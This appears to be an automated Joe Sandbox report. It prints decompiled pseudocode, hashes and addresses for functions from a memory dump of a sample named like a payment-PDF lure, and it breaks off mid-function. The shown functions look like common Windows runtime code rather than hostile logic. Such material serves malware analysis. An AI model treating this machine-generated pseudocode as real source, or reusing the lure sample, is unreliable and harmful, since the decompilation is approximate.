Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c9c2c168462ffcfdab825d706307e428e4c42f02aa904c70c38f4676588d543
Instruction ID: 0b8f494ef78e42a803f60366e6f6c25ef54bf845f7475d46c5a0739ceed837a7
Opcode Fuzzy Hash: 5c9c2c168462ffcfdab825d706307e428e4c42f02aa904c70c38f4676588d543
Instruction Fuzzy Hash: 012189B9600B00EFD7208F68D880F66B3F8FB54750F40882DE5AAD7660DA74A855CB68

Uniqueness

Uniqueness Score: -1.00%

Function 334691F0 Relevance: .1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E334691F0(intOrPtr __ecx) {
				intOrPtr _v8;
				signed short _t16;
				signed int _t25;
				intOrPtr _t29;
				intOrPtr _t34;
				signed short _t37;

				_t31 = __ecx;
				_push(__ecx);
				_v8 = __ecx;
				_t37 =  *0x33566624; // 0x0
				 *((short*)(((0 |  *((intOrPtr*)(__ecx + 8)) == 0xddeeddee) - 0x00000001 & 0x00000068) + __ecx + 0x14)) = 0xffff;
				_t16 =  *0x33563924;
				if(_t37 == _t16) {
					 *0x33563924 = _t16 + _t16;
					_t34 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, (_t16 + _t16 & 0x0000ffff) << 2);
					if(_t34 != 0) {
						_t37 =  *0x33566624; // 0x0
						_t29 =  *0x33563734; // 0x77494820
						L334B88C0(_t34, _t29, (_t37 & 0x0000ffff) << 2);
						if(_t29 != 0x33564820) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t29);
							_t37 =  *0x33566624; // 0x0
						}
						_t31 = _v8;
						 *0x33563734 = _t34;
						L2:
						_t25 = _t37 & 0x0000ffff;
						 *0x33566624 = _t37 + 1;
						 *((intOrPtr*)(_t34 + _t25 * 4)) = _t31;
						L3:
						return _t25;
					}
					_t25 =  *0x33566624; // 0x0
					 *0x33563924 = _t25;
					goto L3;
				}
				_t34 =  *0x33563734; // 0x77494820
				goto L2;
			}

0x334691f0
0x334691f5
0x334691f8
0x33469210
0x33469218
0x3346921d
0x33469226
0x334cb8b9
0x334cb8d6
0x334cb8da
0x334cb8ed
0x334cb8f4
0x334cb903
0x334cb911
0x334cb91f
0x334cb924
0x334cb924
0x334cb92b
0x334cb92e
0x33469232
0x33469232
0x33469237
0x3346923e
0x33469241
0x33469245
0x33469245
0x334cb8dc
0x334cb8e2
0x00000000
0x334cb8e2
0x3346922c
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b250c329f5d310e3ec9347152caeda42448d716d7e3033f59672d9b64705990
Instruction ID: 0b24e40aa577ba1f66460ff42e87f59b6aa970ea70f3ff46b38d0ec25b67e8b2
Opcode Fuzzy Hash: 9b250c329f5d310e3ec9347152caeda42448d716d7e3033f59672d9b64705990
Instruction Fuzzy Hash: 0C11C87E152640ABD325AF58D940E7277F8EB68B80F101029F500A7360E675DD03CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 3349E7E0 Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E3349E7E0(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t12;
				intOrPtr _t14;
				signed int _t18;
				signed int _t23;
				signed char _t30;
				signed int _t32;
				signed int _t38;

				_push(__ecx);
				_push(__ecx);
				L33482330(_t12, 0x335667c4);
				_t14 = _a4;
				 *(_t14 - 0x1c) =  *(_t14 - 0x1c) - 1;
				asm("sbb edi, edi");
				_t38 =  !( ~( *(_t14 - 0x1c))) & _t14 + 0xffffffb0;
				_v8 = _t38;
				asm("lock cmpxchg [ebx], ecx");
				_t32 = 1;
				if(1 != 1) {
					while(1) {
						_t23 = _t32 & 0x00000006;
						_t18 = _t32;
						_t30 = (0 | _t23 == 0x00000002) * 4 - 1 + _t32;
						asm("lock cmpxchg [edi], esi");
						if(_t18 == _t32) {
							break;
						}
						_t32 = _t18;
					}
					_t38 = _v8;
					if(_t23 == 2) {
						_t18 = E334A3BDB(0x335667c4, 0, _t30);
					}
				}
				if(_t38 != 0) {
					_t18 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t38);
				}
				return _t18;
			}

0x3349e7e5
0x3349e7e6
0x3349e7f0
0x3349e7f5
0x3349e7f8
0x3349e803
0x3349e809
0x3349e80d
0x3349e811
0x3349e815
0x3349e81a
0x334dfafe
0x334dfb02
0x334dfb05
0x334dfb14
0x334dfb18
0x334dfb1e
0x00000000
0x00000000
0x334dfb20
0x334dfb20
0x334dfb24
0x334dfb2a
0x334dfb38
0x334dfb38
0x334dfb2a
0x3349e822
0x3349e837
0x3349e837
0x3349e828

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 612a56678c541aa75bc14730898a0c2d4f7f4d8171b893d45f71196fc58492f6
Instruction ID: c30c16bbca802b119e34e8f581996b097d56f0bfcc969a1d2b69eb5e3b053570
Opcode Fuzzy Hash: 612a56678c541aa75bc14730898a0c2d4f7f4d8171b893d45f71196fc58492f6
Instruction Fuzzy Hash: 0E1108767013009FEB19C768DCA1E5B769ADBC57B4B29412DE5228B3A1D9319C42C3D8

Uniqueness

Uniqueness Score: -1.00%

Function 3349270D Relevance: .1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E3349270D(char __edx, intOrPtr _a4) {
				void* __ecx;
				void* _t8;
				intOrPtr* _t13;
				signed char* _t17;
				void* _t22;
				void* _t28;
				char _t29;

				_push(0x33563390);
				_t29 = __edx;
				_t8 = E3347E740(_t22);
				_t23 = _a4;
				_t28 = _t8;
				if(_a4 < 0) {
					L334AC98F(_t23, 0x14a2, _t29, 0);
				}
				if(L33483C40() != 0) {
					_t13 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
						if(L33483C40() == 0) {
							_t17 = 0x7ffe0385;
						} else {
							_t17 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t17 & 0x00000020) != 0) {
							E334F0227(0x14a2, 0, 0, _t29, 0, 0);
						}
					}
				}
				return _t28;
			}

0x33492716
0x3349271b
0x3349271d
0x33492722
0x33492727
0x3349272b
0x334daaf0
0x334daaf0
0x33492738
0x334dab03
0x3349273e
0x3349273e
0x3349273e
0x33492745
0x334dab1a
0x334dab27
0x334dab39
0x334dab29
0x334dab32
0x334dab32
0x334dab41
0x334dab52
0x334dab52
0x334dab41
0x334dab1a
0x33492752

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6201f4b357336c0a85cabaf9084ab8860a2ca5dbb6b159da9353f81c722fa662
Instruction ID: c0caf22013ec19945f0eff4ad939aa613159058a213d6db64a119032128e0b04
Opcode Fuzzy Hash: 6201f4b357336c0a85cabaf9084ab8860a2ca5dbb6b159da9353f81c722fa662
Instruction Fuzzy Hash: 1A01267AB057849FF315836E9C94F577B9EDF81394F0900A5F9048B751E914CC01C279

Uniqueness

Uniqueness Score: -1.00%

Function 334ED69D Relevance: .1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E334ED69D(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					L334B88C0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E334A3194(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					E33483BC0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x334ed6ad
0x334ed6b0
0x334ed6bb
0x334ed6be
0x334ed6c6
0x334ed6ca
0x334ed6dc
0x334ed6df
0x334ed6ea
0x334ed6f5
0x334ed6fb
0x334ed6fc
0x334ed702
0x334ed709
0x334ed711
0x334ed719
0x334ed71b
0x334ed6cc
0x334ed6cf
0x334ed6d1
0x334ed6d1
0x334ed726

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 344a7ebce17cc95804a4fe4266c3854e038087be8121a2260c2918af3b52c5a9
Instruction ID: 9ab81f742b87ab66a70846535f0dba6ef0023350c1b6f07777403dca9354efbb
Opcode Fuzzy Hash: 344a7ebce17cc95804a4fe4266c3854e038087be8121a2260c2918af3b52c5a9
Instruction Fuzzy Hash: 0211E572900208BFC7059F6CD8808BEB7B9EF95344F10806DF8448B351DA31CD55D7A8

Uniqueness

Uniqueness Score: -1.00%

Function 3352D270 Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E3352D270(void* __ecx, void* __edx, signed int _a4, signed int _a8, intOrPtr* _a20) {
				char _v8;
				char _v12;
				void* _t18;
				intOrPtr* _t27;
				intOrPtr _t34;
				void* _t40;
				void* _t44;

				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_t40 = __edx;
				if(__ecx == 0 || L334A4CF8( &_v8, _a4 * _a8, _a4 * _a8 >> 0x20) < 0 || E334694A3(_t40, _v8,  &_v12) < 0 || L334A4CF8( &_v8, 0, 0) < 0 || E334694A3(_v12, _v8,  &_v12) < 0) {
					_t18 = 0;
				} else {
					_t27 = _a20;
					_t34 = _v12;
					if(_t27 != 0) {
						 *_t27 = _t34;
					}
					_t18 = E33482710( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t44, _t34);
				}
				return _t18;
			}

0x3352d275
0x3352d276
0x3352d278
0x3352d27b
0x3352d27f
0x3352d2e9
0x3352d2ca
0x3352d2ca
0x3352d2cd
0x3352d2d2
0x3352d2d4
0x3352d2d4
0x3352d2e2
0x3352d2e2
0x3352d2ee

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4384220c295f4d3e533a6fcae8810504b2e89fc3e26a35c5d159139cdbb2224c
Instruction ID: d002c44d82cafd23acbda78cd2f9897e62bb16d43e738bb116ae9e2b61ad6ff2
Opcode Fuzzy Hash: 4384220c295f4d3e533a6fcae8810504b2e89fc3e26a35c5d159139cdbb2224c
Instruction Fuzzy Hash: C0016D72E00209AF9B04CBA6E945DAF7BFCEF84654B01005AA915E7280EA70EE45C774

Uniqueness

Uniqueness Score: -1.00%

Function 334A6540 Relevance: .1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E334A6540(void* __ecx) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t19;
				intOrPtr* _t23;
				intOrPtr _t24;
				void* _t25;
				signed int* _t27;
				signed int _t28;
				intOrPtr _t29;
				signed int _t30;

				_t25 = __ecx;
				_t29 =  *[fs:0x18];
				_v8 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				L334753C0(0x33566718);
				_t3 = _t29 + 0x2c; // 0x44
				_t27 = _t3;
				_t30 =  *_t27;
				if(_t30 != 0) {
					asm("lock dec dword [0x33565c80]");
					 *_t27 =  *_t27 & 0x00000000;
				}
				E334752F0(_t25, 0x33566718);
				if(_t30 != 0 && _t30 != _t27) {
					_t4 = _t30 - 8; // 0x10
					_t23 = _t4;
					_t28 = 0;
					_t19 =  *_t23;
					_v16 = _t23;
					_v12 = _t19;
					if(_t19 != 0) {
						_t24 = _v8;
						do {
							_t26 =  *((intOrPtr*)(_t30 + _t28 * 4));
							if( *((intOrPtr*)(_t30 + _t28 * 4)) != 0) {
								E33483BC0(_t24, 0,  *((intOrPtr*)(_t26 - 4)));
								_t19 = _v12;
							}
							_t28 = _t28 + 1;
						} while (_t28 < _t19);
						_t23 = _v16;
					}
					E33483BC0(_v8, 0, _t23);
				}
				return E334A65D0();
			}

0x334a6540
0x334a654a
0x334a6561
0x334a6564
0x334a6569
0x334a6569
0x334a656c
0x334a6570
0x334a6572
0x334a6579
0x334a6579
0x334a657d
0x334a6584
0x334a658a
0x334a658a
0x334a658d
0x334a658f
0x334a6591
0x334a6594
0x334a6599
0x334a659b
0x334a659e
0x334a659e
0x334a65a3
0x334a65ab
0x334a65b0
0x334a65b0
0x334a65b3
0x334a65b4
0x334a65b8
0x334a65b8
0x334a65c1
0x334a65c1
0x334a65cf

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a6b726f0cfe5602f08218c8afd27f0e8a7c637d869fd0dbd830224d27144418
Instruction ID: 2500a7f00a729565e4707a6b785ef28dfde2a1bbf0b8979675b195744e8ef4cf
Opcode Fuzzy Hash: 1a6b726f0cfe5602f08218c8afd27f0e8a7c637d869fd0dbd830224d27144418
Instruction Fuzzy Hash: D911ACBAE01714AFCB21DF5DD980B5EB7B8EF58740F900459D9016B344DB34AA018BA8

Uniqueness

Uniqueness Score: -1.00%

Function 334672E0 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E334672E0(void* __ecx, intOrPtr _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t32;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t41;

				_t35 = __ecx;
				_push(__ecx);
				_push(_t32);
				_t41 = _a4;
				_push(_t38);
				if(_t41 == 0) {
					L8:
					E33544A6D(_t32, _t35, _t37, _t38, _t41);
					_t21 = 0xc000000d;
					L6:
					return _t21;
				}
				_t22 =  *((intOrPtr*)(_t41 + 0x4c));
				if(_t22 == 0) {
					goto L8;
				}
				_t38 = _a8;
				if( *((intOrPtr*)(_t22 + 0xa8)) != _t38 || ( *(_t41 + 0x84) & 0x00000001) != 0) {
					goto L8;
				} else {
					_t34 = _a16;
					_t23 =  *0x33566644; // 0x0
					_t36 =  *(_a16 + 2) & 0x0000ffff;
					_v8 =  *(_a16 + 2) & 0x0000ffff;
					_t26 = L33485D90( *(_a16 + 2) & 0x0000ffff,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t23 + 0x80000, _t36);
					 *((intOrPtr*)(_t41 + 0x78)) = _t26;
					if(_t26 == 0) {
						_t21 = 0xc0000017;
					} else {
						L334B88C0(_t26, _t34, _v8);
						 *((intOrPtr*)(_t41 + 0x7c)) = _t38;
						asm("lock inc dword [eax]");
						 *(_t41 + 0x84) =  *(_t41 + 0x84) | 0x00000001;
						 *(_t41 + 0x80) = _a12 | 0x00040000;
						_t21 = 0;
					}
					goto L6;
				}
			}

0x334672e0
0x334672e5
0x334672e6
0x334672e8
0x334672eb
0x334672ee
0x3346737a
0x3346737a
0x3346737f
0x3346736c
0x33467370
0x33467370
0x334672f4
0x334672f9
0x00000000
0x00000000
0x334672fb
0x33467304
0x00000000
0x3346730f
0x3346730f
0x33467312
0x3346731c
0x33467328
0x3346732e
0x33467333
0x33467338
0x33467373
0x3346733a
0x3346733f
0x33467344
0x33467352
0x33467358
0x33467364
0x3346736a
0x3346736a
0x00000000
0x33467338

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54cb4a0f339d62108f30fd476364d59be42b2a182a13ec833832c84af882b361
Instruction ID: fc9010e4a845fd46c63b16566b44cf3cac25021480c81478bf08ebda2c7073e0
Opcode Fuzzy Hash: 54cb4a0f339d62108f30fd476364d59be42b2a182a13ec833832c84af882b361
Instruction Fuzzy Hash: 6E11ACB2A00704AFE701CF69C941B5B7BE8FB85388F058429F985CB310D735E881CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 334A3740 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E334A3740(void* __edx, intOrPtr* _a4, signed char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr* _a44) {
				intOrPtr _t31;
				void* _t35;
				signed int _t38;
				signed char _t41;
				intOrPtr* _t43;
				char* _t45;
				signed int _t47;

				_t41 = _a8;
				if(_t41 > 8) {
					return 0xc0000078;
				}
				_t31 =  *0x33565d78; // 0x0
				_t47 = _t41 & 0x000000ff;
				_t45 = L33485D90(8 + _t47 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t31 + 0x140000, 8 + _t47 * 4);
				if(_t45 == 0) {
					_t35 = 0xc0000017;
					L6:
					return _t35;
				}
				_t43 = _a4;
				 *(_t45 + 1) = _t41;
				 *_t45 = 1;
				 *((intOrPtr*)(_t45 + 2)) =  *_t43;
				 *((short*)(_t45 + 6)) =  *((intOrPtr*)(_t43 + 4));
				_t38 = _t47 - 1;
				if(_t38 > 7) {
					L5:
					 *_a44 = _t45;
					_t35 = 0;
					goto L6;
				}
				switch( *((intOrPtr*)(_t38 * 4 +  &M334A37DC))) {
					case 0:
						L4:
						 *((intOrPtr*)(_t45 + 8)) = _a12;
						goto L5;
					case 1:
						L12:
						__eax = _a16;
						 *((intOrPtr*)(__edx + 0xc)) = _a16;
						goto L4;
					case 2:
						L11:
						__eax = _a20;
						 *((intOrPtr*)(__edx + 0x10)) = _a20;
						goto L12;
					case 3:
						L10:
						__eax = _a24;
						 *((intOrPtr*)(__edx + 0x14)) = _a24;
						goto L11;
					case 4:
						L9:
						__eax = _a28;
						 *((intOrPtr*)(__edx + 0x18)) = _a28;
						goto L10;
					case 5:
						L8:
						__eax = _a32;
						 *((intOrPtr*)(__edx + 0x1c)) = _a32;
						goto L9;
					case 6:
						L16:
						__eax = _a36;
						 *((intOrPtr*)(__edx + 0x20)) = _a36;
						goto L8;
					case 7:
						__eax = _a40;
						 *((intOrPtr*)(__edx + 0x24)) = _a40;
						goto L16;
				}
			}

0x334a3746
0x334a374c
0x00000000
0x334e2973
0x334a3752
0x334a3758
0x334a3777
0x334a377b
0x334a37d5
0x334a37af
0x00000000
0x334a37af
0x334a377d
0x334a3780
0x334a3783
0x334a3788
0x334a378f
0x334a3793
0x334a3799
0x334a37a8
0x334a37ab
0x334a37ad
0x00000000
0x334a37ad
0x334a379b
0x00000000
0x334a37a2
0x334a37a5
0x00000000
0x00000000
0x334a37cd
0x334a37cd
0x334a37d0
0x00000000
0x00000000
0x334a37c7
0x334a37c7
0x334a37ca
0x00000000
0x00000000
0x334a37c1
0x334a37c1
0x334a37c4
0x00000000
0x00000000
0x334a37bb
0x334a37bb
0x334a37be
0x00000000
0x00000000
0x334a37b5
0x334a37b5
0x334a37b8
0x00000000
0x00000000
0x334e2983
0x334e2983
0x334e2986
0x00000000
0x00000000
0x334e297d
0x334e2980
0x00000000
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73682224be7845b23504b8c029a43e9511c795c0197f502b64e48d7ff48dde73
Instruction ID: 6c8ec67cb8c0f3cd03519c5d1390ea44712aad23740f4552486367c3a50ca3e5
Opcode Fuzzy Hash: 73682224be7845b23504b8c029a43e9511c795c0197f502b64e48d7ff48dde73
Instruction Fuzzy Hash: 5D1123B8A0424A9FD741CF2CD480A85BBE4BB59311B48C29AE848CB301E735E881CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 334FE3DD Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E334FE3DD(signed int* __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				signed int* _v8;
				void* _t12;
				void* _t13;
				signed int* _t15;
				void* _t18;
				signed int _t26;
				intOrPtr* _t28;
				intOrPtr _t31;

				_t20 = __ecx;
				_push(__ecx);
				_t18 = __edx;
				_v8 = __ecx;
				_t28 = E33479630(_a4, __edx,  *_a8);
				if(_t28 == 0) {
					L8:
					_t12 = 0;
				} else {
					while(1) {
						_t31 =  *_t28;
						if(_t31 == 0) {
							goto L8;
						}
						if(_t31 < 0) {
							L7:
							_t28 = _t28 + 4;
							if(_t28 != 0) {
								continue;
							} else {
								goto L8;
							}
						} else {
							_t13 = E33479630(_a4, _t18,  *_t28);
							if(_t13 == 0) {
								L11:
								_t12 = 0xc000008b;
							} else {
								_t26 = _t13 + 2;
								if(_t26 == 0) {
									goto L11;
								} else {
									_t15 = L33485D90(_t20,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, "true");
									if(_t15 == 0) {
										_t12 = 0xc0000017;
									} else {
										_t20 = _t15;
										 *_t15 =  *_t15 & 0x00000000;
										_t15[1] = _t26;
										E334FE5FE(_t15, _v8 + 8);
										goto L7;
									}
								}
							}
						}
						goto L9;
					}
					goto L8;
				}
				L9:
				return _t12;
			}

0x334fe3dd
0x334fe3e2
0x334fe3eb
0x334fe3ed
0x334fe3f9
0x334fe3fd
0x334fe44a
0x334fe44a
0x334fe3ff
0x334fe3ff
0x334fe3ff
0x334fe402
0x00000000
0x00000000
0x334fe404
0x334fe445
0x334fe445
0x334fe448
0x00000000
0x00000000
0x00000000
0x00000000
0x334fe406
0x334fe40c
0x334fe413
0x334fe45a
0x334fe45a
0x334fe415
0x334fe415
0x334fe41a
0x00000000
0x334fe41c
0x334fe429
0x334fe430
0x334fe453
0x334fe432
0x334fe435
0x334fe437
0x334fe43a
0x334fe440
0x00000000
0x334fe440
0x334fe430
0x334fe41a
0x334fe413
0x00000000
0x334fe404
0x00000000
0x334fe3ff
0x334fe44c
0x334fe450

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d78969a3de063c0e7614b86bbe96c2a5dc513fbd87671afc715f87d050cf35f
Instruction ID: 6598cc76ea43b311015cac0a6cbd48565a558666534c44f5a7b85d52cc104674
Opcode Fuzzy Hash: 1d78969a3de063c0e7614b86bbe96c2a5dc513fbd87671afc715f87d050cf35f
Instruction Fuzzy Hash: CD01AD76600700AFE7118F44C800B5A7BA9EF80396F1D802DE9049B270E672DD81D6A8

Uniqueness

Uniqueness Score: -1.00%

Function 3349F1F0 Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E3349F1F0(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t14;
				void* _t15;
				signed char* _t18;
				intOrPtr _t26;
				intOrPtr _t30;
				intOrPtr _t31;
				signed char* _t32;
				signed int _t34;

				_v12 =  *0x3356b370 ^ _t34;
				_t14 =  *[fs:0x18];
				_t26 = _a4;
				_t31 =  *((intOrPtr*)(_t14 + 0xf60));
				 *((intOrPtr*)(_t14 + 0xf60)) = _t26;
				_t15 = L33483C40();
				_t32 = 0x7ffe0390;
				if(_t15 != 0) {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x236;
				} else {
					_t18 = 0x7ffe0390;
				}
				if( *_t18 != 0) {
					if(_t26 == _t31) {
						goto L3;
					}
					_v24 = _t31;
					_v50 = 0x545;
					_v20 = _t26;
					if(L33483C40() != 0) {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x236;
					}
					_push( &_v56);
					_push("true");
					_push(0x402);
					_push( *_t32 & 0x000000ff);
					L334B2F90();
					goto L3;
				} else {
					L3:
					return E334B4B50(_t31, _t26, _v12 ^ _t34, _t30, _t31, _t32);
				}
			}

0x3349f1ff
0x3349f202
0x3349f209
0x3349f20e
0x3349f214
0x3349f21a
0x3349f21f
0x3349f226
0x334dfe7b
0x3349f22c
0x3349f22c
0x3349f22c
0x3349f231
0x334dfe87
0x00000000
0x00000000
0x334dfe92
0x334dfe95
0x334dfe99
0x334dfea3
0x334dfeae
0x334dfeae
0x334dfeba
0x334dfebb
0x334dfebd
0x334dfec2
0x334dfec3
0x00000000
0x3349f237
0x3349f237
0x3349f247
0x3349f247

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6a5d5577f1caa0b630fb5f78f53a890805fa208321c15a654edbe345094af6b
Instruction ID: 71bcbf67f7fc66e9338b6aa5654cf67b1dd6df0852d4eaef76ae86d92ccd8185
Opcode Fuzzy Hash: e6a5d5577f1caa0b630fb5f78f53a890805fa208321c15a654edbe345094af6b
Instruction Fuzzy Hash: 7411E5BAB007489FDB20CF69C854B9AB7F8BF44700F540179E944EB742EA75D901C798

Uniqueness

Uniqueness Score: -1.00%

Function 3346A200 Relevance: .1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E3346A200(signed short* _a4, signed int _a8) {
				signed char _t20;
				signed short* _t29;
				void* _t30;
				signed int _t34;
				intOrPtr* _t35;

				if((_a8 & 0xfffffffe) != 0) {
					L8:
					return 0;
				}
				_t29 = _a4;
				_t20 =  *_t29 & 0x0000ffff;
				if(_t20 == 0 || (_t20 & 0x00000001) != 0) {
